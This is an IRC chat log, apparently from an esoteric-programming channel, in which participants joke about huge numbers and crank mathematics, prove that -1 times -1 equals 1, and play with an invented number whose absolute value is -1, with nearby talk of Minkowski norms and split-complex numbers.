22:01:21 <alise> (m-1)
22:01:22 <alise> *you
22:01:23 <Deewiant> :-P
22:01:25 <fax> alise this so not satisfying me
22:01:30 <fax> it's just sliderst and shit
22:01:52 <alise> 0!ⁿ = 1
22:01:53 <alise> m!ⁿ = H(n, m, (m-1)!ⁿ)
22:02:38 <alise> G₆₄!^G₆₄; move over, xkcd.
22:02:48 <coppro> lol
22:02:52 <Deewiant> + 1; move over, alise.
22:03:13 <coppro> A(A(G₆₄, G₆₄)!^A(G₆₄, G₆₄), A(G₆₄, G₆₄)!^A(G₆₄, G₆₄))
22:03:16 <alise> Ohhh snap
22:03:19 <Deewiant> + 1
22:03:25 * coppro explodes
22:03:36 <alise> I'm an ultrafinitist; I don't believe in (G₆₄!^G₆₄)+1
22:03:39 <alise> I win, Deewiant.
22:03:41 <alise> I win.
22:03:55 <Deewiant> You shouldn't believe in your own number then either ;-P
22:04:22 <alise> G₆₄!^G₆₄ is the largest number.
22:04:27 <alise> (Ultrafinitism != physical finitism.)
22:04:48 <Deewiant> I forget the details; whatever
22:08:58 <alise> Gren
22:09:52 -!- olsner has quit (Quit: Leaving).
22:12:41 -!- olsner has joined.
22:13:05 <uorygl> G_64 is the largest number ever used seriously, so it's the largest number.
22:13:56 <uorygl> No, better: the largest number is one less than the smallest prime number greater than G_64.
22:14:10 <coppro> lol
22:14:25 <uorygl> A somewhat recursive definition: the largest number is -1.
22:14:32 -!- Phantom_Hoover has joined.
22:14:39 <coppro> lol
22:14:52 <coppro> 0 isn't a number, then?
22:15:02 <uorygl> Of course it's a number. But it's way, way, way smaller than -1.
22:15:15 * uorygl ponders a definition of that largest number that doesn't mention any larger numbers.
22:16:15 <uorygl> Here's something easier to define.
22:16:27 <coppro> uorygl: Ah, I see. You subscribe to the believe that -1 is 0b11111111111111111111111...
22:16:28 <uorygl> The largest number is 162. 162 + 1 = 0.
22:16:35 <uorygl> coppro: more or less.
22:16:46 <coppro> gogo two's complement
22:16:54 <uorygl> So, there are 0 numbers. But it's the big 0, not the small 0.
22:17:55 <alise> coppro: *0b....11111
22:18:26 <alise> So, if -1 = 0b...1111, then -2 = -1 - 1 = (0b...1111) - (0b...0001) = (0b...1110).
22:18:28 <coppro> alise: same difference; it's an infinite number of 1s
22:19:05 <alise> Yes, but your notation made no sense :P
22:19:11 <alise> Anyway, so -2 = infinity minus 1.
22:19:21 <alise> So is 1/0 = -1?
22:19:34 <coppro> yes
22:20:10 <fax> 1/2 is the biggest number... 2 = 1.11111111... = 1/2 + 1/4 + 1/8 + ... so infinity = 2 + 4 + 8 + ... = 1/2
22:20:39 <uorygl> So 1/2 = 82, 1/3 = 109, 1/5 = 98, 1/7 = 70, and 1/11 = 89.
22:20:41 <alise> coppro: So 2/0 = -2?
22:20:48 <alise> So -1/0 = 1.
22:20:53 <coppro> right
22:21:10 <alise> -1*0 = 1. Wait, what?
22:21:19 <coppro> lol
22:21:23 <alise> 1*0 = -1. Wait, WHAT?!?!
22:21:27 <Phantom_Hoover> Has Epigram just died?
22:21:27 <Phantom_Hoover> Nothing seems to have happened for years...
22:21:35 <alise> Phantom_Hoover: What, the language?
22:21:43 <alise> Hell no!
22:21:44 <alise> http://www.e-pig.org/epilogue/
22:21:51 <alise> It's been actively developed for ages now...
22:21:52 -!- phantomhoover has joined.
22:21:53 <uorygl> I wonder if square roots exist in my word-where-the-biggest-number-is-162.
22:22:03 <alise> <alise> Phantom_Hoover: What, the language?
22:22:03 <alise> <alise> Hell no!
22:22:03 <alise> <alise> http://www.e-pig.org/epilogue/
22:22:04 <alise> <alise> It's been actively developed for ages now...
22:22:04 <alise> * phantomhoover (~user@cpc3-sgyl21-0-0-cust116.sgyl.cable.virginmedia.com) has joined #esoteric
22:22:05 <alise> <alise> Phantom_Hoover: What, the language?
22:22:06 <alise> <alise> Hell no!
22:22:07 <alise> <alise> http://www.e-pig.org/epilogue/
22:22:09 <alise> <alise> It's been actively developed for ages now...
22:22:11 <Phantom_Hoover> Oh yeah...
22:22:11 <alise> * phantomhoover (~user@cpc3-sgyl21-0-0-cust116.sgyl.cable.virginmedia.com) has joined #esoteric
22:22:13 <alise> oops
22:22:15 <alise> stupid client
22:22:20 -!- phantomhoover has quit (Remote host closed the connection).
22:22:24 <alise> So what's -1 * -1 in my cubic truth?
22:22:29 <alise> Presumably -1; after all, inf * inf = inf. :D
22:22:52 <alise> I HAVE CRACKED THE CUBIC SECRET TO MATHEMATICS!!!
22:23:00 <coppro> timecube.com
22:23:06 <fax> nice
22:23:15 <alise> Gene Ray will soon appoint me Deputy Doctor of Cubic.
22:23:37 <Phantom_Hoover> I've never actually been convinced that -1*-1 = 1.
22:23:37 <Phantom_Hoover> No-one has ever proven it.
22:23:37 <Phantom_Hoover> They just say "it's obvious."
22:23:46 <alise> x_x
22:23:48 <fax> Phantom_Hoover: pretty easy to prove
22:23:51 <alise> It's the definition of multiplication.
22:24:08 <Phantom_Hoover> Go on...
22:24:18 <fax> Lemma 1 : -1 * x = -x
22:24:22 <alise> http://en.wikipedia.org/wiki/Integers#Construction
22:24:23 <fax> Lemma 2 : --x = x
22:24:29 <fax> Theorem -1 * -1 = 1.
22:24:40 <Phantom_Hoover> Prove it.
22:24:41 <fax> Proof: instantiate lemma 1 with x = 1, then apply lemma 2
22:24:50 <alise> (a-b)*(c-d)=(ac+bd)-(ad+bc)
22:24:59 <alise> a=c=0, b=d=1
22:25:02 <fax> my proof works in any ring
22:25:07 <fax> integers are just one ring
22:25:19 <Phantom_Hoover> fax: Lemma 2 is just my question restated.
22:25:28 <fax> Phantom_Hoover, Lemma 1 is the difficult one actually, Lemma 2 is trivial
22:25:33 <alise> Phantom_Hoover: you don't understand
22:25:43 <alise> Phantom_Hoover: these things are true because they are HOW WE DEFINE THEM
22:25:45 <alise> there is no underlying truth
22:26:10 <fax> alise actually there is....
22:26:19 <Phantom_Hoover> I suppose I won't be happy until I see it derived from a well-defined set of axioms.
22:26:22 <Phantom_Hoover> Oh, well.
22:26:22 <Sgeo> It's presumably possible to define a system in which -1 * -1 = -1, but it would break a LOT of things
22:26:23 -!- Phantom_Hoover has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838]).
22:26:31 <alise> Prelude> let times (a,b) (c,d) = ((a*c)+(b*d))-((a*d)+(b*c))
22:26:31 <alise> Prelude> times (0,1) (0,1)
22:26:31 <alise> 1
22:26:39 <alise> axioms: peano arithmetic pretty much
22:26:44 <alise> plus a definition of Z
22:27:00 <fax> I'll add thit theorem to my al-jabr :P
22:27:08 <uorygl> Take a step one foot forward!
22:27:09 <alise> he's left anyway
22:27:10 <alise> dumbass
22:27:19 <alise> as if nobody has ever defined integer multiplication using axioms
22:27:24 <uorygl> Take a step -1 feet forward! I guess you step backwards.
22:27:29 <fax> alise, you're way to prove it is good too
22:27:40 <fax> a lot better actually
22:27:41 <alise> *your! Aah, it burns! (Sorry.)
22:27:49 <fax> but mine is more general
22:27:53 <uorygl> Take -1 steps one foot forward! I guess you do the reverse of a forward step, so go backwards again.
22:28:00 <alise> Proof By Here's The Definition, Just Fucking Evaluate It
22:28:06 <uorygl> Take -1 steps -1 feet forward! Okay, do the reverse of a backward step. Step forwards.
22:28:20 <uorygl> The definition isn't random; it was chosen because it makes sense.
22:35:13 <fax> http://github.com/odge/al-jabr/blob/master/Abstract/Ring.v
22:35:23 <alise> Ityh Bhyti
22:35:29 <alise> Or Ytih Bhyti.
22:35:35 <alise> Or Ytih Bhity.
22:35:39 <alise> Or Ityh Bhity.
22:35:47 <alise> All are acceptable romanisations!
22:40:38 <alise> furtht
22:40:47 <fax> afwpfhdlho
22:42:35 -!- impomatic has quit (Quit: mov.i #1,1).
22:53:25 -!- MigoMipo has quit (Remote host closed the connection).
22:53:30 -!- adam_d has quit (Ping timeout: 248 seconds).
22:56:16 -!- kar8nga has quit (Remote host closed the connection).
23:09:59 -!- charlls has joined.
23:10:30 -!- alise_ has joined.
23:11:45 <Sgeo> alise_, what LessWrong things do you disagree with?
23:11:57 -!- alise has quit (Ping timeout: 252 seconds).
23:12:10 <alise_> I'd have to search to recall prior examples.
23:15:16 <fax> it's philosophy man
23:15:21 <fax> you don't agree or disagree with it
23:15:30 <fax> you just read it and think a lot about stuff
23:15:37 <alise_> I would not call Less Wrong philosophy.
23:15:44 <fax> well you can agree or disagree but you don't have to
23:15:46 <alise_> I would say that in general they disdain philosophy.
23:17:20 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
23:19:40 -!- augur has quit (Ping timeout: 268 seconds).
23:31:19 <oklopol> lol @ Phantom_Hoover
23:31:45 <fax> @ what?
23:31:51 <fax> he didn't really say anything that I found funny :(
23:32:07 <oklopol> after your formal proof he said he will not be happy until seeing a formal proof
23:32:19 <fax> :D
23:32:36 <oklopol> i thought that was funny, even though i guess you could've elaborated a bit
23:33:06 <fax> I left him the interesting cases to prove himself
23:33:24 <fax> that's the best way to really understand why cubic truth contradicts ring theory
23:33:35 <fax> but alises one is so much sweeter
23:33:43 <fax> (of course only on integers.. but still)
23:34:13 <oklopol> in general what is a*b in cubic truth?
23:34:21 <alise_> -1*-1 = -1
23:34:22 <alise_> that's all he says
23:34:26 <alise_> presumably -2*-2 = -4
23:34:35 <alise_> so -x*-y = -(x*y)
23:34:41 <oklopol> -a*-b = -(ab), if a and b >= 0?
23:34:58 <alise_> hey he might believe in -0 too
23:35:54 <oklopol> if a, b >= 0, what's -a * b?
23:36:13 <oklopol> is it -ab?
23:36:29 <fax> someone should email him about -0
23:36:32 <fax> alise
23:36:37 * Sgeo once believed in a number more 0-like than 0
23:36:43 <fizzie> Heh, the release notes included in this firmware package of my ADSL modem have a "ZyXEL Confidential" header, and start with: "The information presented in this document is strictly confidential and supplied on the understanding that it will be handled as confidential material. Disclosure of any part of this document to third parties, without the prior written consent from the author, is prohibited." But maybe I shouldn't have told you that!
23:36:56 <fax> Sgeo, I like the sound of that..
23:37:21 -!- nooga has joined.
23:38:14 <oklopol> if we have a hausdorff measure, we usually say m({})^0 = 0, and m(S)^0 = 1 for any other set for which m(S) = 0
23:38:19 <oklopol> i mean
23:38:34 <oklopol> when we're finding the hausdorff measure, these are the conventions used
23:38:39 <fax> oklodorff
23:39:09 <oklopol> so we sort of have these *really zero* measures, when the set is not just zero measure but empty
23:39:52 <oklopol> but in measure theory we're always working with the extended reals, so why not have multiple zeroes too
23:40:58 <oklopol> 1/infinity would probably be the bigger zero, having (1/infinity)^0 = 1
23:41:10 <oklopol> clearly that bigger zero has a sign too
23:41:31 <fizzie> Our maths teacher (highschool?) used to say that 0^0 is "mickey mouse", and then draw the other ear in too.
23:41:32 -!- tombom has quit (Quit: Leaving).
23:42:00 <fax> but how is that a mouse?
23:42:13 <fax> and another thing, I've heard about this four color theorem... but WHICH four colors?
23:42:22 <oklopol> but at some point you just have to leave stuff partial, because the next field after reals is quite a lot bigger
23:42:33 <oklopol> red, green and blue, but i don't know the last one
23:42:39 <fax> is it an open problem?
23:42:45 <oklopol> oh might be
23:43:03 <oklopol> it's definitely not obvious
23:43:06 <fizzie> It is a mouse in the sense that °0° is two-ears-and-a-head. I guess it leaves the rest of the body as an open problem.
23:43:09 <pikhq> fax: Integers between 0 and 3, inclusive.
23:43:20 <fax> fizzie, but it's got two 0's
23:43:23 <fax> OH
23:43:30 <oklopol> you add another earrrr
23:43:31 <fax> 0^0 is ntoation for the exponent
23:43:56 <oklopol> yeah always remember to render the latex
23:44:33 <pikhq> So, {^0}0^0?
23:45:18 * Sgeo believed that since 1/inf = 0, 0/inf must be more "0-like" than 0
23:46:17 <fax> Sgeo do you know about infintesimals
23:46:26 <fax> (they are real!)
23:46:40 <Sgeo> Heard of them, don't know much about them
23:46:53 <fax> they're so cool man
23:47:21 <oklopol> do 1/inf and 0/inf have something to do with infinitesimals?
23:47:34 <alise_> * Sgeo once believed in a number more 0-like than 0
23:47:37 <fax> you can define integral as as a sum from 0 to N (where N is an infinity) of f[x]*h (where h = 1/N)
23:47:38 <alise_> 00+x = 00
23:47:39 <oklopol> i don't believe they do
23:47:48 <fax> no limits anywhere
23:48:24 <Sgeo> I think I kind of believed that within each number was a real number line, or something
23:48:28 <Sgeo> It's been a while
23:48:45 <Sgeo> Oh, and I was struggling with div by 0:
23:49:47 <Sgeo> 1/0 must = 2/0 because 1/0 * 2/2 = 2/0
23:50:13 <Sgeo> I don't remember if I included 0/0 in that group
23:50:25 <Sgeo> But I remember hypothesizing a "number circle" because inf=-inf
23:50:52 <alise_> there's something like that
23:50:54 <alise_> wheels
23:50:56 <alise_> same circle metaphor :P
23:51:52 <Sgeo> I think wrt /0, I ended up deciding that on a finite scale, those numbers were too far away, but on an infinite scale, they all equaled eachother, making them worthless, or something
23:51:58 <nooga> http://www.freebsdmall.com/
23:52:12 <nooga> uhh, wrong window
23:52:13 <Sgeo> I also had visions of number systems branching out from number systems
23:52:37 <Gregor> nooga: THAT SITE IS A LIE
23:53:13 <Gregor> nooga: Oh, never mind, it's just painfully slow.
23:53:45 * Sgeo also tried to define a number, ai, pronounced at-i, I'll type it as @, such that |@| = -1
23:53:52 <alise_> Free BSDM, Al
23:53:54 <alise_> *All
23:54:05 <nooga> alise_: yes, i just noticed that :D
23:54:17 <Sgeo> Could never figure out how to determine |a+b@|
23:54:37 <nooga> that why i was pasting taht :D
23:55:50 <Sgeo> I guess no one's just going to say what the answer would be
23:56:19 <Sgeo> I think |a|-|b| is the wrong answer somehow, I _think_ I tried it
23:56:48 <Sgeo> Um, because |a+b| != |a| + |b|, I think
23:57:55 <alise_> that being a+(b*@)?
23:57:59 <alise_> or (a+b)*@, or something else entirely
23:58:31 <alise_> Sgeo:
23:58:36 <Sgeo> a+(b*@)
23:59:59 -!- nooga has quit (Ping timeout: 258 seconds).
2010-03-22
00:00:08 <Sgeo> I decided that |b@| was simply -|b|, since |ab|=|a||b|, unless someone has a counter-example?
00:00:09 <alise_> well |a@| is obviously |a|*|@|
00:00:11 <alise_> |@| = -1
00:00:14 <alise_> so it's a * -1
00:00:32 <alise_> but yeah it's a case of reducing |a+b|...
00:00:52 <Sgeo> Has reducing |a+b| been done, or is it impossible?
00:01:19 <alise_> I asked wolfram alpha for some inspiration but it wasn't very helpful
00:01:26 <alise_> I think you'd just have to make shit up until all the properties work...
00:01:27 <alise_> apart from |x| > 0 ofc :P
00:01:34 <alise_> >= that is
00:01:46 <fax> what is??
00:02:02 <alise_> ?
00:03:14 <Sgeo> Why is |a+bi| defined the way it is?
00:04:27 -!- oerjan has joined.
00:07:48 -!- alise has joined.
00:07:49 -!- AnMaster has quit (Ping timeout: 256 seconds).
00:08:01 <Sgeo> wb alise
00:08:05 <fax> Sgeo, because we want |-| to be a "metric"
00:08:15 <Sgeo> metric?
00:08:25 <fax> which means |a-b|+|b-c|>=|a-c| and |a-b|=0 <=> a=b
00:08:37 -!- AnMaster has joined.
00:08:46 <fax> oh and |a-b|=|b-a|
00:09:05 * Sgeo wonders how he can use that to define at least the properties of |a+b@|
00:09:13 <fax> why do we care about metrics? They make a topology
00:09:19 <fax> why do we care about topologies... I don't know yet
00:09:26 <fax> what's @
00:09:53 <Sgeo> @ is defined such that |@| = -1. Pseudomathematical curiousity that I seem to have interested alise in just now
00:10:15 <Sgeo> [Or, probably less peusomathematically, |x| gains an exception in its definition]
00:10:47 -!- alise_ has quit (Ping timeout: 252 seconds).
00:14:15 <Sgeo> |a-@| + |@-c| >= |a-c|. If a=0 and c=5, for instance, and this rule is upholdable, |@-5| >= 5
00:14:41 <Sgeo> I'm not convinced that it's upholdable given the redefintion, however.
00:15:29 <alise> so |@| = -1
00:15:38 <alise> |@-1| >= 1
00:15:41 <alise> |@-2| >= 2
00:16:07 <Sgeo> That seems... broken
00:16:18 <alise> |@| = -1, |@-1| = 1 (presumably)
00:16:24 <alise> |@-2| = 2
00:16:31 <alise> so there's a 0 missing there...
00:16:36 -!- nooga has joined.
00:16:38 -!- augur has joined.
00:17:43 <Sgeo> If |@-1| = 1, |@-2| = 3, somehow makes more sense, but there's no evidence for that really
00:18:33 <Sgeo> Not "sense", but it's nicely pattern-filling
00:19:20 <alise> This number is no number, it's more like a function :P
00:19:26 <Sgeo> |a-b|+|b-c|>=|a-c|
00:19:30 <Sgeo> lol
00:19:41 <alise> fax: /msg???
00:21:32 <Sgeo> a=@, b=0, c=1 |@-0| + |0-1| >= |@-1| <=> -1 + 1 >= |@-1|
00:21:53 <Sgeo> I think we have a problem
00:23:36 <alise> well clearly |@-1| results in a number
00:23:45 <alise> ~@-1~
00:23:58 <alise> which has these contradictory properties!
00:24:13 <Sgeo> Maybe |a-b|+|b-c|>=|a-c| is simply broken
00:25:44 <alise> Maybe you are broken :|
00:26:18 <Sgeo> Well, when |x|>=0 is suddenly violated, I'd expect anything that relies on that to be broken
00:26:30 <alise> fax: /msg :(((((
00:26:37 <fax> im not here right now
00:26:41 <alise> fax: yes you are
00:28:17 <oerjan> 1 = 1 + 0 = 1 + 0*(-1) = 1 + (1+(-1))*(-1) = 1 + 1*(-1) + (-1)*(-1) = 1 + (-1) + (-1)*(-1) = 0 + (-1)*(-1) = (-1)*(-1)
00:29:15 <fax> oerjan 1 + 0*(-1) = 1 + (1+(-1))*(-1) ?
00:29:20 <fax> ho sorry I see it now
00:29:36 <Sgeo> oerjan, that's so.. obvious, looking at it
00:29:43 <oerjan> heh
00:30:06 <Sgeo> Hm, that means something major would have to break in order to make a system in which -1*-1=-1
00:30:13 <oerjan> yeah
00:30:17 <Sgeo> Maybe 1-1 != 0
00:30:40 <oerjan> well 1-1 == 0 is pretty much the _definition_ of negation
00:31:24 <oerjan> in fact it's the only property of negation used above
00:31:40 <oerjan> (1+(-1) = 0)
00:31:55 <alise> 1 - 1 = 1 + (-1)
00:32:05 <alise> axiom: x + (-x) = i, where i is additive identity
00:32:08 <alise> i = 0
00:32:12 <alise> x + (-x) = 0
00:32:15 <alise> 1 + (-1) = 0
00:32:16 <alise> 1 - 1 = 0
00:32:18 <alise> Q.E.D.
00:32:53 <Sgeo> You also used a(b+c) = ab+ac
00:32:55 <Sgeo> BRB
00:33:12 <oerjan> a-b is just an abbreviation for a+(-b) afaiac
00:33:46 <oerjan> Sgeo: yeah obviously, and several other properties, but none that involve negation
00:33:52 <alise> oerjan: yeah it is
00:34:00 <alise> and since a b = a*b, a-b = a*-b
00:34:04 <alise> therefore a+(-b) = a*-b
00:34:05 <alise> :D
00:34:07 <Sgeo> back
00:34:08 <alise> Q.E.D!
00:34:18 * oerjan swats alise -----###
00:34:20 <Sgeo> Which property is the easiest to break?
00:34:25 <alise> none of them
00:34:32 <alise> otherwise someone will have already done so and formalised everything with it
00:34:40 <alise> you have to sacrifice something major, that's why they are fundamental properties
00:36:20 <Sgeo> What causes |a-b| + |b-c| >= |a-c| to break, exactly?
00:36:27 <Sgeo> (Given |@|=-1
00:36:29 <Sgeo> )
00:36:48 <alise> nothing you just have to break other things to make it work :P
00:37:12 -!- FireFly has quit (Quit: http://www.qdb.us/60621).
00:37:30 <Sgeo> How is that rule derived? That would be easiest to work with
00:38:09 <oerjan> a+0=a, 0*a = 0, a+(-a) = 0, (a+b)c = ac+bc, a+(b+c) = (a+b)+c, 1*a = a, 0+a = a
00:39:04 <oerjan> of those 0*a = 0 _might_ be derivable from something simpler, but the rest are really fundamental (you could drop one of the first and last by adding commutativity)
00:39:11 <Sgeo> (a+b)c = ac+bc seems somewhat unintuitive. Maybe in the goal of -1*-1=-1, we can break it
00:39:27 <oerjan> heh in fact that means i'm _not_ using commutativity, not even of addition
00:40:36 <oerjan> Sgeo: the distributive law is pretty powerful yeah. but without it there isn't really any connection _between_ addition and multiplication to speak of.
00:40:42 <Slereah> You are educated stupid
00:41:02 <Sgeo> Anyone want to email oerjan's proof to Gene Ray?
00:41:34 <alise> he denies the definitions duh
00:43:16 <Sgeo> |@@| = |@||@| = 1; |a@+b@@| = |[a+b@]@| = -|a+b@| and this probably gets us nowhere
00:43:54 * Sgeo wonders what |1/@| is
00:44:24 <alise> |1/x| = 1/|x|
00:44:27 <alise> = 1/-1
00:44:39 <alise> = -1
00:44:48 <alise> |1/@| = -1
00:44:49 <Sgeo> Can we be certain that that rule works given that |x|=-1 exists?
00:45:01 <alise> Unless you find a contradiction.
00:45:27 <oerjan> Sgeo: |a-b| + |b-c| >= |a-c| is equivalent to |x| + |y| >= |x+y|
00:45:43 <fax> btw
00:45:54 <alise> |@| + |n| >= |@+n|
00:45:57 <fax> earlier on I was using |z-w| as notation for d(z,w)
00:46:00 <alise> |@| + |1| >= |@+1|
00:46:08 <alise> |@+1| <= -1 + 1
00:46:11 <alise> |@+1| <= 0
00:46:12 <fax> d is just a function onto R(eal)
00:46:21 <alise> |@+1| = -2, perhaps?
00:46:26 <fax> you can prove that d(x,y) >= 0
00:46:31 <Sgeo> I remember seeing |x|+|y| >= |x+y| before, and deciding that it was broken, I don't remember why
00:46:47 <fax> Sgeo, wormholes I guess
00:46:53 <alise> fax: plz respond in /msg :(
00:47:34 <Sgeo> x=@, y=-@, |x| + |y| = |@| + |-@| = -2 >= |@+-@| = |2@| = -2
00:47:37 <Sgeo> hm
00:47:56 <Sgeo> erm, |@+-@| = |0| = 0
00:48:00 <Sgeo> So yeah, contradiction
00:49:22 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:52:02 <alise> CAN HAS SQL?
00:52:03 <alise> DBASE IZ GETDB('db/lcsn.db')
00:52:03 <alise> FUNNAHS IZ DBUCKET(&DBASE&,"CAN I PLZ GET * ALL UP IN lollit")
00:52:03 <alise> IM IN UR FUNNAHS ITZA TITLE
00:52:03 <alise> VOTEZ IZ &TITLE#ups& - &TITLE#downs&
00:52:04 <alise> http://imgur.com/noL0U
00:52:07 <alise> by what metric is lolcode esoteric again?
00:53:09 <oerjan> sgeo's metric above
00:53:14 <uorygl> It's deliberately strange.
00:53:25 <Sgeo> I made a metric for esotericism?
00:54:00 <oerjan> you made a metric for *WHOOSH*
00:54:57 <uorygl> Hmm, @ such that |@| = -1.
00:55:30 <uorygl> You can define the absolute value of a number as the square root of the number times its complex conjugate.
00:55:37 <uorygl> |x| = sqrt(x*x')
00:56:46 <Sgeo> Hm, was thinking of sqrt(x*x), but that doesn't work with non-reals. I think the above def. fixes that
00:57:31 <oerjan> well it _is_ the usual one for complex numbers
00:57:47 <oerjan> aka modulus
00:57:54 <Sgeo> What's the complex conjugate for @?
00:58:01 <Sgeo> And what's @*@?
00:58:32 <uorygl> If you define a complex number as a 2x2 matrix of real numbers, I'm pretty sure the absolute value is the square root of the determinant.
00:58:48 <oerjan> a+bi has complex conjugate a-bi
00:58:59 <uorygl> sqrt(a^2+b^2), of course.
00:59:13 <Sgeo> |@| = sqrt(@*@) = @ is not what we want
00:59:22 <Sgeo> So @' != @
00:59:31 <uorygl> If sqrt(a^2+b^2) = -1, then a^2+b^2 is an imaginary number.
00:59:35 <Sgeo> Assuming we're following that definition, which might not even be a useful one
01:00:00 <alise> @' is a unique number such that @*@' = -1^2
01:00:03 <alise> = -1
01:00:04 <uorygl> For simplicity, let's assume b = 0. Then a^2 is an imaginary number.
01:00:25 <alise> er wait
01:00:25 <alise> = 1
01:00:36 <alise> hmm now that is a bit of an issue
01:00:47 <uorygl> Why is it a bit of an issue?
01:01:00 <uorygl> @' = 1/@.
01:01:45 <uorygl> Lemme think, the numbers we're familiar with are of the form a + bi. These numbers could simply be a + bi + c@ + di@.
01:02:02 <uorygl> I wonder if this is a quaternion.
01:02:14 <uorygl> Rather, if this is the quaternions.
01:02:24 <alise> yes but
01:02:34 <Sgeo> If there are usual rules for abs value for quaternions, then those are broken by this
01:02:38 <alise> @*@' = -1^2 (because sqrt(@*@')=-1) = 1
01:02:45 <alise> but sqrt(1) is actually 1
01:03:17 <uorygl> Heh, right.
01:03:31 <uorygl> We'll have to find a way to decide when sqrt(x) is sqrt(x) and when it's -sqrt(x) instead.
01:04:59 <Sgeo> Can't you get a similar paradox without @?
01:05:11 <uorygl> Hey, I have heard something that might accomplish this.
01:06:00 <uorygl> Heard of, rather.
01:07:48 <uorygl> No, I haven't.
01:08:16 <uorygl> It just seems like absolute values are too fundamentally nonnegative.
01:08:57 <oerjan> don't be so nonnegative
01:09:22 <oerjan> oh!
01:09:32 <oerjan> minkowsky inner product!
01:09:33 <uorygl> If we don't find a way to solve this impossible problem, surely humanity will be destroyed!
01:09:40 <uorygl> That's precisely the thing I mentioned.
01:09:59 <uorygl> Or, well, something with the word Minkowski in it.
01:10:13 <oerjan> it has _imaginary_ absolute values, not negative ones, though
01:10:26 <oerjan> (from special relativity theory)
01:10:40 <uorygl> It has imaginary absolute values?
01:10:49 <oerjan> but their _square_ is negative though
01:10:53 <fizzie> This is not quite related, but for the usual 2x2 matrix representation of (a+bi), [a -b; b a], you do have |a+bi|^2 = det([a -b; b a]) = a^2+b^2... if you do a+b% as [a b; b a] you'd have a fancy number % for which |%| = i. (Since |%|^2 = det([0 1; 1 0]) = -1.) That sort of representation would seem to be sort-of closed under addition and multiplication.
01:11:15 <oerjan> uorygl: yes
01:11:52 <oerjan> basically a distance in time has a length that is an imaginary number times a distance in space
01:12:16 <oerjan> (for combinations of time/space, it depends on whether it's faster than light or not)
01:12:26 <uorygl> Hmm. Find a shape that's like a cone, except that one vertical cross section is a V and a perpendicular one is an upside-down V.
01:12:40 * uorygl ponders hyperconic sections.
01:12:56 <uorygl> Or whatever the heck those things are called.
01:13:48 <uorygl> Quadric sections.
01:14:17 <oerjan> hyperboloids?
01:14:28 <uorygl> That is a type of quadric section.
01:15:00 <oerjan> two opposed cones would be a degenerate instance of that
01:15:25 * Sgeo lost the conversation
01:15:26 <oerjan> oh wait that's not what you said
01:15:27 -!- nooga has quit (Ping timeout: 245 seconds).
01:15:34 <uorygl> There is no quadric section, not even a degenerate one, that's that I said.
01:15:52 <oerjan> uorygl: yours is like a degenerate saddle, more like?
01:16:01 <uorygl> Yes.
01:16:27 <uorygl> You know, I'm pretty sure there's only one sane shape that's like that.
01:17:12 <Sgeo> Is there a way to define @ in terms of imaginary abs. values?
01:17:14 -!- nooga has joined.
01:17:16 <oerjan> you are sure there's at least one?
01:17:42 <Sgeo> What makes a shape sane
01:17:45 <Sgeo> ?
01:18:00 <uorygl> Take the absolute value, and then multiply it by the square of the sine of the argument.
01:18:09 <uorygl> s/sine/cosine/
01:18:18 <oerjan> hm actually for timelike distances in minkovski space there _is_ a difference of direction, between forwards and backwards in time
01:18:22 <uorygl> Sgeo: sanity.
01:18:39 <uorygl> The absolute value is actually an insane function, by one formal definition.
01:18:43 * Sgeo is utterly lost
01:19:20 <uorygl> Sgeo: I'm guessing you understand all but one word of "take the absolute value, and then multiply it by the square of the sine of the argument".
01:19:49 <Sgeo> BRB
01:21:28 <oerjan> hm a saddle surface is defined to be smooth on wikipedia, so wouldn't include your case, or would it?
01:22:03 <oerjan> no it cannot be smooth, since absolute values are cross sections
01:22:07 <uorygl> Any smooth function would make a silly absolute value.
01:22:25 <uorygl> Since it has a non-differentiable spot at zero.
01:23:03 <uorygl> And |(|x|)| should be |x|, not |x|^2.
01:23:28 <Gregor> What is the absolute value of (, anyway
01:23:47 <uorygl> Gregor: you forgot to close a parenthesis.
01:24:10 <oerjan> i'll close it here )
01:24:39 <uorygl> I don't know what the absolute value of (, anyway i'll close it here) is.
01:24:48 <Gregor> JOKE MURDERED
01:24:55 <Sgeo> I understand the words, but not the point
01:25:15 <uorygl> Sgeo: well, visualize that shape.
01:25:38 <Sgeo> Can I just plot it on Wolfram?
01:25:54 <uorygl> Probably.
01:25:57 -!- ubunt63 has joined.
01:26:39 <oerjan> but does he _want_ such a tattoo?
01:27:07 <uorygl> I don't know whether Wolfram wants such a tattoo.
01:27:16 <uorygl> I guess even if he had it, we wouldn't be able to see it.
01:28:22 <alise> <uorygl> Sgeo: I'm guessing you understand all but one word of "take the absolute value, and then multiply it by the square of the sine of the argument".
01:28:27 <alise> which word doesn't he understand?
01:28:37 <uorygl> Sgeo: http://www.wolframalpha.com/input/?i=plot+abs%28x%2By*i%29*cos%5E2%28arg%28x%2By*i%29%29
01:28:38 <oerjan> hm why would you square it?
01:28:49 <oerjan> you'd want it negative sometimes
01:29:13 <uorygl> Trigonometry fail on my part.
01:29:23 <uorygl> Take the absolute value, and then multiply it by twice the cosine of the argument.
01:29:26 <uorygl> Er.
01:29:29 <fizzie> Idle speculation: do you get some sort of sensible structure from matrices of the form [a b; b a], with the usual matrix addition and multiplication? It won't be a field, since there's no multiplicative inverse if a=b there, but is it isomorphic to some other well-known thing?
01:29:34 <uorygl> Take the absolute value, and then multiply it by the cosine of twice the argument.
01:29:55 <oerjan> uorygl: neither works since they don't fulfil f(-x) = f(x)
01:30:17 <uorygl> This doesn't fulfill that?
01:30:26 <oerjan> didn't see your last one
01:30:34 <uorygl> Sgeo: http://www.wolframalpha.com/input/?i=plot+abs%28x%2By*i%29*cos%282*arg%28x%2By*i%29%29
01:30:39 <augur> my workbench is almost complete. all it needs is a work surface. :D
01:30:55 <uorygl> fizzie: I think there's a name for those.
01:31:07 <fax> win 12
01:31:14 <Sgeo> arg?
01:31:23 <uorygl> fizzie: the split-complex numbers.
01:31:33 <uorygl> Sgeo: the argument function. It returns the angle of the Argand diagram.
01:31:43 <uorygl> It does the same sort of thing as the signum function.
01:31:44 * Sgeo mindboggles
01:31:57 <uorygl> So, in a sense, it's the angle of the complex number.
01:32:01 * Sgeo is completely clueless as to what Warrig.. oh
01:32:18 <oerjan> hm wait maybe i'm the one failing trigonometry here
01:32:29 <uorygl> The argument of 1 is 0, the argument of i is pi/2, the argument of -1 is pi, and so on.
01:32:31 * Sgeo will just stay lost
01:32:37 <uorygl> oerjan: but I also failed trigonometry.
